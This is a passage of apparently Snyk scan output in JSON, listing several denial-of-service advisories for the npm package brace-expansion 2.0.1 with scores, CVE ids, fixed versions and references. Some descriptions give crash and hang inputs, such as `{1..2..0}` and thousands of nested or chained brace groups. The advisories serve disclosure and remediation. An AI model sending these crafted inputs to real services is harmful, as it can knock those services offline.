"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.2",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.2",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
